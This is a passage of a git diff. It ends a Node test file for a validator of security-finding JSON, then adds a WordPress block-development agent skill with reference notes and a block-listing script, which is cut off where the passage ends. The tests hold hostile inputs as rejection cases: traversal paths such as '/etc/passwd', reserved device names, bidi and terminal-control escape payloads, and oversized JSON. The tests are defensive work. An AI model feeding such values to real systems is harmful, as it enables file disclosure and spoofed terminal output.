"src/con.txt", + "src/PRN", + "src/AUX.c", + "src/NUL", + "src/COM1.log", + "src/lpt9", + "src/CONIN$", + "src/CONOUT$.txt", + "src/CLOCK$.txt", + "src/COM\u00b9.log", + "src/LPT\u00b2.log", + "src /file.c", + "src./file.c", + "src/file.c ", + "src/file.c.", + ]; + for (const badPath of badPaths) { + rejectMutation(confirmed, (finding) => { finding.trace[0].file = badPath; }); + } + rejectMutation(rejected, (finding) => { finding.evidence[0].file = "NUL.txt"; }); + rejectMutation(confirmed, (finding) => { + finding.remediation.code_changes = [{ file_name: "src/file:name.c", fixed_code: "replacement" }]; + }); +}); + +test("accepts legitimate Unicode source paths and prose", () => { + const finding = confirmed(); + finding.title = "Finding \ud83d\ude00 cafe\u0301"; + finding.trace[0].file = "src/日本語/cafe\u0301-\ud83d\ude00.ts"; + finding.evidence[0].file = "src/mañana/файл.ts"; + finding.remediation.code_changes = [{ + file_name: "src/修正/éxito.ts", + fixed_code: "replacement", + }]; + assert.deepEqual(errorsFor([finding]), []); +}); + +test("CLI rejects input above the byte limit without an exception trace", () => { + const result = runCli(Buffer.alloc(LIMITS.inputBytes + 1, 0x20)); + const output = cliOutput(result); + assert.equal(result.status, 1, output); + assert.match(output, new RegExp(`input exceeds ${LIMITS.inputBytes} byte limit`)); + assert.doesNotMatch(output, /RangeError|Maximum call stack|heap out of memory/i); +}); + +test("CLI rejects invalid UTF-8 without replacement or an exception trace", () => { + const findings = producerShapedFindings(); + findings[0].execution.payloads = ["INVALID_UTF8"]; + const encoded = Buffer.from(JSON.stringify(findings)); + const marker = Buffer.from("INVALID_UTF8"); + const markerOffset = encoded.indexOf(marker); + assert.notEqual(markerOffset, -1); + const malformed = Buffer.concat([ + encoded.subarray(0, markerOffset), + Buffer.from([0x80]), + encoded.subarray(markerOffset + marker.length), + ]); + + const result = runCli(malformed); + const output = cliOutput(result); + assert.equal(result.status, 1, output); + assert.match(output, /input is not valid UTF-8/); + assert.doesNotMatch(output, /TypeError|stack|at validate-findings/i); +}); + +test("quotes input-derived controls in CLI validation errors", { skip: !HAS_SAFE_INPUT_OPEN }, () => { + const finding = confirmed(); + finding.trace[0].kind = `invalid-${TERMINAL_CONTROL_PAYLOAD}`; + finding.execution[`extra-${TERMINAL_CONTROL_PAYLOAD}`] = "value"; + const result = runCli(JSON.stringify([finding])); + + assert.equal(result.status, 1, cliOutput(result)); + assert.match(result.stderr, /\$\[0\]\.trace\[0\]\.kind/); + assert.match(result.stderr, /\\u001b/); + assert.match(result.stderr, /\\u202e/); + assertNoInjectedControlBytes(result.stderr); +}); + +test("returns a generic syntax error without parser-supplied controls", { skip: !HAS_SAFE_INPUT_OPEN }, () => { + const malformed = Buffer.concat([ + Buffer.from("["), + Buffer.from(TERMINAL_CONTROL_PAYLOAD), + Buffer.from("]"), + ]); + const result = runCli(malformed); + + assert.equal(result.status, 1, cliOutput(result)); + assert.equal(result.stderr, "Failed to parse findings JSON: invalid JSON syntax\n"); + assertNoInjectedControlBytes(result.stderr); +}); + +test("does not reflect controls from a failed CLI input path", () => { + const directory = fs.mkdtempSync(path.join(os.tmpdir(), "validate-findings-path-")); + const missingPath = path.join(directory, `missing-${TERMINAL_CONTROL_PAYLOAD}.json`); + try { + const result = spawnSync(process.execPath, [validatorPath, missingPath], { + encoding: "utf8", + timeout: CLI_TIMEOUT_MS, + }); + assert.equal(result.status, 1, cliOutput(result)); + assert.match(result.stderr, /Failed to read findings JSON:/); + assertNoInjectedControlBytes(result.stderr); + } finally { + fs.rmSync(directory, { recursive: true, force: true }); + } +}); + +test("CLI rejects lone-surrogate prose without changing payload semantics", () => { + const findings = producerShapedFindings(); + findings[0].title = "\ud800"; + const result = runCli(JSON.stringify(findings)); + const output = cliOutput(result); + assert.equal(result.status, 1, output); + assert.match(output, /must contain only valid Unicode scalar values/); + assert.doesNotMatch(output, /stack|at validate-findings/i); +}); + +test("CLI rejects Unicode format controls in source paths", () => { + const findings = producerShapedFindings(); + findings[0].trace[0].file = "src/file\u202ename.c"; + const result = runCli(JSON.stringify(findings)); + const output = cliOutput(result); + assert.equal(result.status, 1, output); + assert.match(output, /must be a safe repository-relative source path/); + assert.doesNotMatch(output, /stack|at validate-findings/i); +}); + +test("CLI rejects a FIFO without blocking", { skip: process.platform === "win32" || !HAS_SAFE_INPUT_OPEN }, () => { + const directory = fs.mkdtempSync(path.join(os.tmpdir(), "validate-findings-fifo-")); + const fifoPath = path.join(directory, "findings.json"); + try { + const created = spawnSync("mkfifo", [fifoPath], { encoding: "utf8", timeout: CLI_TIMEOUT_MS }); + assert.equal(created.status, 0, cliOutput(created)); + + const result = spawnSync(process.execPath, [validatorPath, fifoPath], { + encoding: "utf8", + timeout: CLI_TIMEOUT_MS, + }); + const output = cliOutput(result); + assert.notEqual(result.error && result.error.code, "ETIMEDOUT", output); + assert.equal(result.status, 1, output); + assert.match(output, /input must be a regular file/); + assert.doesNotMatch(output, /stack|at validate-findings/i); + } finally { + fs.rmSync(directory, { recursive: true, force: true }); + } +}); + +test("CLI rejects a symlink without following it", { skip: process.platform === "win32" || !HAS_SAFE_INPUT_OPEN }, () => { + const directory = fs.mkdtempSync(path.join(os.tmpdir(), "validate-findings-symlink-")); + const targetPath = path.join(directory, "target.json"); + const symlinkPath = path.join(directory, "findings.json"); + try { + fs.writeFileSync(targetPath, JSON.stringify(producerShapedFindings())); + fs.symlinkSync(targetPath, symlinkPath); + const result = spawnSync(process.execPath, [validatorPath, symlinkPath], { + encoding: "utf8", + timeout: CLI_TIMEOUT_MS, + }); + const output = cliOutput(result); + assert.notEqual(result.error && result.error.code, "ETIMEDOUT", output); + assert.equal(result.status, 1, output); + assert.match(output, /input must not be a symlink/); + assert.doesNotMatch(output, /stack|at validate-findings/i); + } finally { + fs.rmSync(directory, { recursive: true, force: true }); + } +}); + +test("CLI rejects input above the nesting-depth limit without an exception trace", () => { + const levels = LIMITS.nestingDepth + 1; + const result = runCli(`${"[".repeat(levels)}0${"]".repeat(levels)}`); + const output = cliOutput(result); + assert.equal(result.status, 1, output); + assert.match(output, new RegExp(`${LIMITS.nestingDepth} level nesting depth limit`)); + assert.doesNotMatch(output, /RangeError|Maximum call stack|heap out of memory/i); +}); + +test("CLI rejects an oversized array without an exception trace", () => { + const result = runCli(JSON.stringify(Array(LIMITS.arrayItems + 1).fill(null))); + const output = cliOutput(result); + assert.equal(result.status, 1, output); + assert.match(output, new RegExp(`${LIMITS.arrayItems} item array limit`)); + assert.doesNotMatch(output, /RangeError|Maximum call stack|heap out of memory/i); +}); + +test("checks pattern and branch invariants", () => { + rejectMutation(rejected, (finding) => { finding.fingerprint = "not stable"; }); + rejectMutation(needsValidation, (finding) => { + finding.severity = { impact: { score: "low" }, overall_severity: "low" }; + }); +}); + +test("rejects unsupported and malformed schema keywords", () => { + assert(collectSchemaErrors({ type: "string", format: "uuid" }).some((error) => error.includes("format"))); + assert(collectSchemaErrors({ type: "string", pattern: "[" }).some((error) => error.includes("regular expression"))); + assert(collectSchemaErrors({ type: "string", visibleContent: "yes" }).some((error) => error.includes("expected boolean"))); + assert(collectSchemaErrors({ type: "array", visibleContent: true }).some((error) => error.includes("requires type"))); + assert.notEqual(validateDocument([], { type: "array", maxItems: 1 }).length, 0); +}); + +test("caps malformed 1000-finding validation output", () => { + assert.equal(errorsFor(Array.from({ length: LIMITS.arrayItems }, () => null)).length, LIMITS.validationErrors); + if (!HAS_SAFE_INPUT_OPEN) return; + + const result = runCli(JSON.stringify(Array.from({ length: LIMITS.arrayItems }, () => null))); + const output = cliOutput(result); + assert.notEqual(result.error && result.error.code, "ETIMEDOUT", output); + assert.equal(result.status, 1, output); + assert.match(output, /output capped at 100/); + assert(output.length < 20000, `unexpected output length ${output.length}`); + assert.doesNotMatch(output, /RangeError|Maximum call stack|stack|at validate-findings/i); +}); + +test("caps amplified in-limit findings output under a constrained Node heap", { skip: !HAS_SAFE_INPUT_OPEN }, () => { + const findings = Array.from({ length: 750 }, () => ({ + verdict: "confirmed", + trace: Array.from({ length: LIMITS.arrayItems }, () => 0), + evidence: Array.from({ length: LIMITS.arrayItems }, () => 0), + })); + const contents = JSON.stringify(findings); + assert(contents.length > 3 * 1000 * 1000, `hostile input too small: ${contents.length}`); + assert(contents.length <= LIMITS.inputBytes, `hostile input over limit: ${contents.length}`); + + const result = runCli(contents, { + nodeArgs: ["--max-old-space-size=64"], + timeout: HOSTILE_CLI_TIMEOUT_MS, + }); + const output = cliOutput(result); + assert.notEqual(result.error && result.error.code, "ETIMEDOUT", output); + assert.equal(result.status, 1, output); + assert.match(output, /output capped at 100/); + assert(output.length < 20000, `unexpected output length ${output.length}`); + assert.doesNotMatch(output, /heap out of memory|allocation failed|RangeError|Maximum call stack/i); +}); + +test("keeps shared helpers aligned with the coverage-ledger validator", () => { + const findingsModule = require("./validate-findings.cjs"); + const ledgerModule = require("./validate-coverage-ledger.cjs"); + + for (const name of [ + "VISIBLE_CONTENT", + "PATH_FORBIDDEN_CHARACTER", + "WINDOWS_RESERVED_COMPONENT", + "UNSAFE_DIAGNOSTIC_CHARACTER", + ]) { + assert.equal(findingsModule[name].source, ledgerModule[name].source, `${name} source`); + assert.equal(findingsModule[name].flags, ledgerModule[name].flags, `${name} flags`); + } + + const sharedLimitKeys = Object.keys(findingsModule.LIMITS) + .filter((key) => Object.prototype.hasOwnProperty.call(ledgerModule.LIMITS, key)) + .sort(); + assert.deepEqual(sharedLimitKeys, ["inputBytes", "nestingDepth", "validationErrors"]); + for (const key of sharedLimitKeys) { + assert.equal(findingsModule.LIMITS[key], ledgerModule.LIMITS[key], `LIMITS.${key}`); + } + + const pathCorpus = [ + "src/handler.js", + "src/caf\u00e9/handler.js", + "src/\u65e5\u672c\u8a9e/\u0444\u0430\u0439\u043b.ts", + "src/cloc\u212a$.txt", + "src/CLOCK$.txt", + "src/con.txt", + "CON", + "src/COM\u00b9.log", + "src/lpt\u00b3", + "/etc/passwd", + "../src/file.c", + "src/../file.c", + "src//file.c", + "src\\file.c", + "src/file:name.c", + "~home/file.c", + "C:/file.c", + "src/file.c ", + "src/file.c.", + "src/file\u202ename.c", + "src/file\u200b.js", + "src/file\u034f.js", + "src/file\ufe0f.js", + "src/file\ud800name.c", + "src/file\udc00name.c", + ]; + for (const value of pathCorpus) { + assert.equal( + findingsModule.isSafeRelativeSourcePath(value), + ledgerModule.isSafeRelativePath(value), + `path verdict diverges for ${JSON.stringify(value)}`, + ); + } + assert.equal(findingsModule.isSafeRelativeSourcePath("src/cloc\u212a$.txt"), false); + assert.equal(ledgerModule.isSafeRelativePath("src/cloc\u212a$.txt"), false); + + const proseCorpus = [ + "Valid prose.", + "caf\u00e9", + "", + " \t\r\n", + "\u200b", + "\u034f", + "\ufe0f", + "\ud800", + "\udc00", + "visible\ud800", + ]; + for (const value of proseCorpus) { + assert.equal( + findingsModule.hasVisibleProse(value), + ledgerModule.hasVisibleProse(value), + `prose verdict diverges for ${JSON.stringify(value)}`, + ); + } +}); diff --git a/.agents/skills/wp-block-development/SKILL.md b/.agents/skills/wp-block-development/SKILL.md new file mode 100644 index 0000000..38dc3cb --- /dev/null +++ b/.agents/skills/wp-block-development/SKILL.md @@ -0,0 +1,178 @@ +--- +compatibility: Targets WordPress 7.0+ (PHP 7.4.0+). Filesystem-based agent with bash + node. Some workflows require WP-CLI. +description: 'Use when developing WordPress (Gutenberg) blocks: block.json metadata, register_block_type(_from_metadata), attributes/serialization, supports, dynamic rendering (render.php/render_callback), deprecations/migrations, viewScript vs viewScriptModule, and @wordpress/scripts/@wordpress/create-block build and test workflows.' +metadata: + github-path: skills/wp-block-development + github-ref: refs/heads/trunk + github-repo: https://github.com/WordPress/agent-skills + github-tree-sha: 8a0e4def60f65cb26c81820a08efcbd83099a71f +name: wp-block-development +--- +# WP Block Development + +## When to use + +Use this skill for block work such as: + +- creating a new block, or updating an existing one +- changing `block.json` (scripts/styles/supports/attributes/render/viewScriptModule) +- fixing “block invalid / not saving / attributes not persisting” +- adding dynamic rendering (`render.php` / `render_callback`) +- block deprecations and migrations (`deprecated` versions) +- build tooling for blocks (`@wordpress/scripts`, `@wordpress/create-block`, `wp-env`) + +## Inputs required + +- Repo root and target (plugin vs theme vs full site). +- The block name/namespace and where it lives (path to `block.json` if known). +- Target WordPress version range (especially if using modules / `viewScriptModule`). + +## Procedure + +### 0) Triage and locate blocks + +1. Run triage: + - `node skills/wp-project-triage/scripts/detect_wp_project.mjs` +2. List blocks (deterministic scan): + - `node skills/wp-block-development/scripts/list_blocks.mjs` +3. Identify the block root (directory containing `block.json`) you’re changing. + +If this repo is a full site (`wp-content/` present), be explicit about *which* plugin/theme contains the block. + +### 1) Create a new block (if needed) + +If you are creating a new block, prefer scaffolding rather than hand-rolling structure: + +- Use `@wordpress/create-block` to scaffold a modern block/plugin setup. +- If you need Interactivity API from day 1, use the interactive template. + +Read: +- `references/creating-new-blocks.md` + +After scaffolding: + +1. Re-run the block list script and confirm the new block root. +2. Continue with the remaining steps (model choice, metadata, registration, serialization). + +### 2) Ensure apiVersion 3 (WordPress 6.9+) + +WordPress 6.9 enforces `apiVersion: 3` in the block.json schema. Blocks with apiVersion 2 or lower trigger console warnings when `SCRIPT_DEBUG` is enabled. + +**Why this matters:** +- WordPress 7.0 will run the post editor in an iframe regardless of block apiVersion. +- apiVersion 3 ensures your block works correctly inside the iframed editor (style isolation, viewport units, media queries). + +**Migration:** Changing from version 2 to 3 is usually as simple as updating the `apiVersion` field in `block.json`. However: +- Test in a local environment with the iframe editor enabled. +- Ensure any style handles are included in `block.json` (styles missing from the iframe won't apply). +- Third-party scripts attached to a specific `window` may have scoping issues. + +Read: +- `references/block-json.md` (apiVersion and schema details) + +### 3) Pick the right block model + +- **Static block** (markup saved into post content): implement `save()`; keep attributes serialization stable. +- **Dynamic block** (server-rendered): use `render` in `block.json` (or `render_callback` in PHP) and keep `save()` minimal or `null`. +- **Interactive frontend behavior**: + - Prefer `viewScriptModule` for modern module-based view scripts where supported. + - If you're working primarily on `data-wp-*` directives or stores, also use `wp-interactivity-api`. + +### 4) Update `block.json` safely + +Make changes in the block’s `block.json`, then confirm registration matches metadata. + +For field-by-field guidance, read: +- `references/block-json.md` + +Common pitfalls: + +- changing `name` breaks compatibility (treat it as stable API) +- changing saved markup without adding `deprecated` causes “Invalid block” +- adding attributes without defining source/serialization correctly causes “attribute not saving” + +### 5) Register the block (server-side preferred) + +Prefer PHP registration using metadata, especially when: + +- you need dynamic rendering +- you need translations (`wp_set_script_translations`) +- you need conditional asset loading + +Read and apply: +- `references/registration.md` + +### 6) Implement edit/save/render patterns + +Follow wrapper attribute best practices: + +- Editor: `useBlockProps()` +- Static save: `useBlockProps.save()` +- Dynamic render (PHP): `get_block_wrapper_attributes()` + +Read: +- `references/supports-and-wrappers.md` +- `references/dynamic-rendering.md` (if dynamic) + +### 7) Inner blocks (block composition) + +If your block is a “container” that nests other blocks, treat Inner Blocks as a first-class feature: + +- Use `useInnerBlocksProps()` to integrate inner blocks with wrapper props. +- Keep migrations in mind if you change inner markup. + +Read: +- `references/inner-blocks.md` + +### 8) Attributes and serialization + +Before changing attributes: + +- confirm where the attribute value lives (comment delimiter vs HTML vs context) +- avoid the deprecated `meta` attribute source + +Read: +- `references/attributes-and-serialization.md` + +### 9) Migrations and deprecations (avoid "Invalid block") + +If you change saved markup or attributes: + +1. Add a `deprecated` entry (newest → oldest). +2. Provide `save` for old versions and an optional `migrate` to normalize attributes. + +Read: +- `references/deprecations.md` + +### 10) Tooling and verification commands + +Prefer whatever the repo already uses: + +- `@wordpress/scripts` (common) → run existing npm scripts +- `wp-env` (common) → use for local WP + E2E + +Read: +- `references/tooling-and-testing.md` + +## Verification + +- Block appears in inserter and inserts successfully. +- Saving + reloading does not create “Invalid block”. +- Frontend output matches expectations (static: saved markup; dynamic: server output). +- Assets load where expected (editor vs frontend). +- Run the repo’s lint/build/tests that triage recommends. + +## Failure modes / debugging + +If something fails, start here: + +- `references/debugging.md` (common failures + fastest checks) +- `references/attributes-and-serialization.md` (attributes not saving) +- `references/deprecations.md` (invalid block after change) + +## Escalation + +If you’re uncertain about upstream behavior/version support, consult canonical docs first: + +- WordPress Developer Resources (Block Editor Handbook, Theme Handbook, Plugin Handbook) +- Gutenberg repo docs for bleeding-edge behaviors diff --git a/.agents/skills/wp-block-development/references/attributes-and-serialization.md b/.agents/skills/wp-block-development/references/attributes-and-serialization.md new file mode 100644 index 0000000..08fd2a8 --- /dev/null +++ b/.agents/skills/wp-block-development/references/attributes-and-serialization.md @@ -0,0 +1,22 @@ +# Attributes and serialization + +Use this file when attributes aren’t saving, content becomes “Invalid block”, or you’re changing markup. + +## How attributes persist + +Attributes can come from: + +- the comment delimiter JSON (common and stable) +- the block’s saved HTML (from tags/attributes) +- context + +Read the canonical guide for supported `source`/`selector`/`attribute` patterns: + +- https://developer.wordpress.org/block-editor/reference-guides/block-api/block-attributes/ + +## Common pitfalls + +- Changing saved HTML without a `deprecated` version breaks existing posts. +- Using the `meta` attribute source (deprecated) causes long-term pain; avoid it. +- Choosing brittle selectors leads to attributes “not found” when markup changes slightly. + diff --git a/.agents/skills/wp-block-development/references/block-json.md b/.agents/skills/wp-block-development/references/block-json.md new file mode 100644 index 0000000..9cfe967 --- /dev/null +++ b/.agents/skills/wp-block-development/references/block-json.md @@ -0,0 +1,49 @@ +# `block.json` (metadata) guidance + +Use this file when you’re editing `block.json` fields or choosing between script/styles fields. + +## Practical rules + +- Treat `name` as stable API (renaming breaks existing content). +- Prefer adding new functionality without changing saved markup; if markup must change, add a `deprecated` version. +- Keep assets scoped: editor assets should not ship to frontend unless needed. + +## API version + schema + +**WordPress 6.9+ requires apiVersion 3.** The block.json schema now only validates blocks with `apiVersion: 3`. Older versions (1 or 2) trigger console warnings when `SCRIPT_DEBUG` is enabled. + +**Why apiVersion 3 matters:** +- The post editor will be iframed if all registered blocks have apiVersion 3+. +- WordPress 7.0 will always use the iframe editor regardless of apiVersion. +- Benefits: style isolation (admin CSS won't affect editor content), correct viewport units (vw, vh), native media queries. + +**Migration checklist:** +1. Update `apiVersion` to `3` in block.json. +2. Ensure all style handles are declared in block.json (styles not included won't load in the iframe). +3. Test blocks that rely on third-party scripts (window scoping may differ). +4. Add a `$schema` to improve editor tooling and validation. + +References: + +- Block metadata: https://developer.wordpress.org/block-editor/reference-guides/block-api/block-metadata/ +- Block API versions: https://developer.wordpress.org/block-editor/reference-guides/block-api/block-api-versions/ +- Iframe migration guide: https://developer.wordpress.org/block-editor/reference-guides/block-api/block-api-versions/block-migration-for-iframe-editor-compatibility/ +- Block schema index: https://schemas.wp.org/ + +## Modern asset fields to know + +This is not a full schema; it’s a “what matters in practice” list: + +- `editorScript` / `editorStyle`: editor-only assets. +- `script` / `style`: shared assets. +- `viewScript` / `viewStyle`: frontend view assets. +- `viewScriptModule`: module-based frontend scripts (newer WP). +- `render`: points to a PHP render file for dynamic blocks (newer WP). + +## Helpful upstream references + +- Block metadata reference (block.json): + - https://developer.wordpress.org/block-editor/reference-guides/block-api/block-metadata/ +- Block.json schema (editor tooling): + - https://schemas.wp.org/trunk/block.json + diff --git a/.agents/skills/wp-block-development/references/creating-new-blocks.md b/.agents/skills/wp-block-development/references/creating-new-blocks.md new file mode 100644 index 0000000..f9d8f74 --- /dev/null +++ b/.agents/skills/wp-block-development/references/creating-new-blocks.md @@ -0,0 +1,46 @@ +# Creating new blocks (scaffolding) + +Use this file when you are creating a new block (or a new block plugin) from scratch. + +## Preferred path: `@wordpress/create-block` + +`@wordpress/create-block` scaffolds a modern block setup that tends to track current best practices. + +Typical options to decide up front: + +- TypeScript vs JavaScript +- Static vs dynamic (`render.php` / server rendering) +- Whether the block should be interactive on the frontend + +Canonical docs: + +- https://developer.wordpress.org/block-editor/reference-guides/packages/packages-create-block/ + +## “Most up-to-date” interactive blocks + +For a modern interactive block, prefer the official Interactivity API template: + +- Template: `@wordpress/create-block-interactive-template` + +This template is designed to integrate: + +- Interactivity API directives (`data-wp-*`) +- module-based view scripts (`viewScriptModule`) +- server rendering (`render.php`) + +References: + +- https://developer.wordpress.org/block-editor/reference-guides/packages/packages-create-block/ +- https://make.wordpress.org/core/2024/03/04/a-first-look-at-the-interactivity-api-in-wordpress-6-5/ + +## Manual fallback (when scaffolding is not available) + +If you cannot run `create-block` (no Node tooling or restricted network): + +1. Create a plugin or theme location that will register the block. +2. Create a block folder with a valid `block.json`. +3. Register via `register_block_type_from_metadata()` in PHP. +4. Add editor JS and (optionally) frontend view assets. + +Then follow the rest of `wp-block-development` for metadata, registration, and serialization. + diff --git a/.agents/skills/wp-block-development/references/debugging.md b/.agents/skills/wp-block-development/references/debugging.md new file mode 100644 index 0000000..c650407 --- /dev/null +++ b/.agents/skills/wp-block-development/references/debugging.md @@ -0,0 +1,36 @@ +# Debugging quick routes + +## Block doesn’t appear in inserter + +- Confirm `block.json` `name` is valid and the block is registered. +- Confirm build output exists and scripts are enqueued. +- If using PHP registration, confirm `register_block_type_from_metadata()` runs (wrong hook/file not loaded is common). + +## “This block contains unexpected or invalid content” + +- You changed saved markup or attribute parsing. +- Add `deprecated` versions and a migration path. +- Reproduce with an old post containing the previous markup. + +## Attributes not saving + +- Confirm attribute definition matches actual markup. +- If the value is in delimiter JSON, avoid brittle selectors. +- Avoid `meta` attribute source (deprecated). + +## Console warnings about apiVersion (WordPress 6.9+) + +If you see "The block 'namespace/block' is registered with API version 2 or lower": + +- Update `apiVersion` to `3` in block.json. +- This warning only appears when `SCRIPT_DEBUG` is true. +- WordPress 7.0 will require apiVersion 3 for proper iframe editor support. + +## Styles not applying in editor (apiVersion 3 / iframe) + +If styles work on frontend but not in the editor: + +- Ensure style handles are declared in block.json (`editorStyle`, `style`). +- Styles not included in block.json won't load inside the iframed editor. +- Check for Dashicons or other dependencies that need explicit inclusion. + diff --git a/.agents/skills/wp-block-development/references/deprecations.md b/.agents/skills/wp-block-development/references/deprecations.md new file mode 100644 index 0000000..582e7c4 --- /dev/null +++ b/.agents/skills/wp-block-development/references/deprecations.md @@ -0,0 +1,24 @@ +# Deprecations and migrations + +Use this file when you must change saved markup or attribute shapes without breaking existing content. + +## `deprecated` basics + +Block deprecations are handled in JS block registration. + +- Add older implementations to `deprecated` (newest → oldest). +- Each deprecated entry can include: + - `attributes` + - `supports` + - `save` + - `migrate` + +Upstream reference: + +- https://developer.wordpress.org/block-editor/reference-guides/block-api/block-deprecation/ + +## Practical guardrails + +- Keep fixtures: store example content for each deprecated version. +- When in doubt, add a migration path rather than silently changing selectors. + diff --git a/.agents/skills/wp-block-development/references/dynamic-rendering.md b/.agents/skills/wp-block-development/references/dynamic-rendering.md new file mode 100644 index 0000000..ee6aa94 --- /dev/null +++ b/.agents/skills/wp-block-development/references/dynamic-rendering.md @@ -0,0 +1,23 @@ +# Dynamic blocks (server rendering) + +Use this file when converting a block to dynamic, or debugging frontend output mismatch. + +## Choose the mechanism + +- Prefer `render` in `block.json` (dynamic render file). +- Alternative: pass `render_callback` when registering the block in PHP. + +## Wrapper attributes + +In PHP render output, always use: + +- `get_block_wrapper_attributes()` + +This preserves support-generated classes/styles. + +## Practical checklist + +- Ensure PHP file exists and is reachable from the block root. +- Ensure registration runs on every request (not only in admin). +- Keep `save()` empty or `null` for fully dynamic output, unless you intentionally save fallback markup. + diff --git a/.agents/skills/wp-block-development/references/inner-blocks.md b/.agents/skills/wp-block-development/references/inner-blocks.md new file mode 100644 index 0000000..e150ed9 --- /dev/null +++ b/.agents/skills/wp-block-development/references/inner-blocks.md @@ -0,0 +1,25 @@ +# Inner Blocks (nested blocks) + +Use this file when your block contains other blocks (container blocks). + +## Canonical references + +- Nested blocks guide: https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/nested-blocks-inner-blocks/ +- `@wordpress/block-editor` package: https://developer.wordpress.org/block-editor/reference-guides/packages/packages-block-editor/ +- Block supports: https://developer.wordpress.org/block-editor/reference-guides/block-api/block-supports/ + +## Practical patterns + +- Editor: + - Use `useInnerBlocksProps( useBlockProps(), { ... } )` to combine wrapper props with inner blocks. + - Use templates/allowed blocks only when you have a clear UX reason (too strict is frustrating). +- Save: + - Use `useInnerBlocksProps.save( useBlockProps.save(), { ... } )` if you need wrapper props. + - Output nested content via `` when appropriate. + +## Common pitfalls + +- Only one `InnerBlocks` should exist per block. +- Changing the wrapper structure that contains inner blocks can invalidate existing content; consider deprecations/migrations. +- If you need to constrain allowed blocks, prefer doing it intentionally and documenting why. + diff --git a/.agents/skills/wp-block-development/references/registration.md b/.agents/skills/wp-block-development/references/registration.md new file mode 100644 index 0000000..f878999 --- /dev/null +++ b/.agents/skills/wp-block-development/references/registration.md @@ -0,0 +1,30 @@ +# Registration patterns (PHP-first) + +Use this file when you need to register blocks robustly across repo types (plugin/theme/site). + +## Prefer metadata registration + +Prefer: + +- `register_block_type_from_metadata( $path_to_block_dir, $args = [] )` + +Why: + +- keeps metadata authoritative (`block.json`) +- supports dynamic render (`render`) and other metadata-driven fields +- enables cleaner asset handling + +Upstream reference: + +- https://developer.wordpress.org/reference/functions/register_block_type_from_metadata/ + +## Where to register + +- Plugins: register on `init` in the main plugin bootstrap or a dedicated loader. +- Themes: register on `init` (or `after_setup_theme` if you need theme supports first), but keep it predictable. + +## Dynamic render mapping + +If `block.json` includes `render`, ensure the file exists relative to the block root. +Inside the render file, use `get_block_wrapper_attributes()` for wrapper attributes. + diff --git a/.agents/skills/wp-block-development/references/supports-and-wrappers.md b/.agents/skills/wp-block-development/references/supports-and-wrappers.md new file mode 100644 index 0000000..b8e6dcf --- /dev/null +++ b/.agents/skills/wp-block-development/references/supports-and-wrappers.md @@ -0,0 +1,18 @@ +# Supports and wrapper attributes + +Use this file when changing `supports` or when your block wrapper styling behaves unexpectedly. + +## Required patterns + +- In `edit()`, use `useBlockProps()`. +- In `save()`, use `useBlockProps.save()`. + +If the block is dynamic (PHP render), use: + +- `get_block_wrapper_attributes()` + +Upstream reference: + +- https://developer.wordpress.org/block-editor/reference-guides/block-api/block-supports/ +- https://developer.wordpress.org/reference/functions/get_block_wrapper_attributes/ + diff --git a/.agents/skills/wp-block-development/references/tooling-and-testing.md b/.agents/skills/wp-block-development/references/tooling-and-testing.md new file mode 100644 index 0000000..a8f2a2b --- /dev/null +++ b/.agents/skills/wp-block-development/references/tooling-and-testing.md @@ -0,0 +1,21 @@ +# Tooling and testing + +Use this file when deciding what commands to run and what “good verification” looks like. + +## Common toolchains + +- `@wordpress/scripts` for build/lint/test: + - https://developer.wordpress.org/block-editor/reference-guides/packages/packages-scripts/ +- `@wordpress/create-block` to scaffold new blocks: + - https://developer.wordpress.org/block-editor/reference-guides/packages/packages-create-block/ +- Interactivity API template for `create-block`: + - https://www.npmjs.com/package/@wordpress/create-block-interactive-template +- `@wordpress/env` (wp-env) for local WordPress environments: + - https://developer.wordpress.org/block-editor/reference-guides/packages/packages-env/ + +## Verification checklist + +- `npm run build` (or repo equivalent) succeeds. +- JS lint passes (repo-specific). +- E2E tests pass if present. +- Manual: insert block, save post, reload editor, confirm no “Invalid block”. diff --git a/.agents/skills/wp-block-development/scripts/list_blocks.mjs b/.agents/skills/wp-block-development/scripts/list_blocks.mjs new file mode 100644 index 0000000..205f541 --- /dev/null +++ b/.agents/skills/wp-block-development/scripts/list_blocks.mjs @@ -0,0 +1,121 @@ +import fs from "node:fs"; +import path from "node:path"; + +const DEFAULT_IGNORES = new Set([ + ".git", + "node_modules", + "vendor", + "dist", + "build", + "coverage", + ".next", + ".turbo", +]); + +function statSafe(p) { + try { + return fs.statSync(p); + } catch { + return null; + } +} + +function existsDir(p) { + const st = statSafe(p); + return Boolean(st && st.isDirectory()); +} + +function readJsonSafe(p) { + try { + return JSON.parse(fs.readFileSync(p, "utf8")); + } catch { + return null; + } +} + +function findFilesRecursive(repoRoot, predicate, { maxFiles = 6000, maxDepth = 10 } = {}) { + const results = []; + const queue = [{ dir: repoRoot, depth: 0 }]; + let visited = 0; + + while (queue.length > 0) { + const { dir, depth } = queue.shift(); + if (depth > maxDepth) continue; + + let entries; + try { + entries = fs.readdirSync(dir, { withFileTypes: true }); + } catch { + continue; + } + + for (const ent of entries) { + const fullPath = path.join(dir, ent.name); + if (ent.isDirectory()) { + if (DEFAULT_IGNORES.has(ent.name)) continue; + queue.push({ dir: fullPath, depth: depth + 1 }); + continue; + } + if (!ent.isFile()) continue; + + visited += 1; + if (visited > maxFiles) return { results, truncated: true }; + if (predicate(fullPath)) results.push(fullPath); + } + } + + return { results, truncated: false }; +} + +function summarizeBlockJson(repoRoot, blockJsonPath) { + const json = readJsonSafe(blockJsonPath); + if (!json) { + return { + path: path.relative(repoRoot, blockJsonPath), + error: "invalid-json", + }; + } + + const rel = path.relative(repoRoot, blockJsonPath); + const blockRoot = path.dirname(rel); + + return { + path: rel, + blockRoot, + name: typeof json?.name === "string" ? json.name : null, + title: typeof json?.title === "string" ? json.title : null, + apiVersion: typeof json?.apiVersion === "number" ? json.apiVersion : null, + render: typeof json?.render === "string" ? json.render : null, + viewScript: json?.viewScript ?? null, + viewScriptModule: json?.viewScriptModule ?? null, + editorScript: json?.editorScript ?? null, + script: json?.script ?? null, + style: json?.style ?? null, + editorStyle: json?.editorStyle ?? null, + attributes: json?.attributes ? Object.keys(json.attributes).slice(0, 50) : [], + }; +} + +function main() { + const repoRoot = process.cwd(); + + const { results: blockJsonFiles, truncated } = findFilesRecursive(repoRoot, (p) => path.basename(p) === "block.json", { + maxFiles: 8000, + maxDepth: 12, + }); + + const blocks = blockJsonFiles.map((p) => summarizeBlockJson(repoRoot, p)); + + const report = { + tool: { name: "list_blocks", version: "0.1.0" }, + repoRoot, + truncated, + count: blocks.length, + 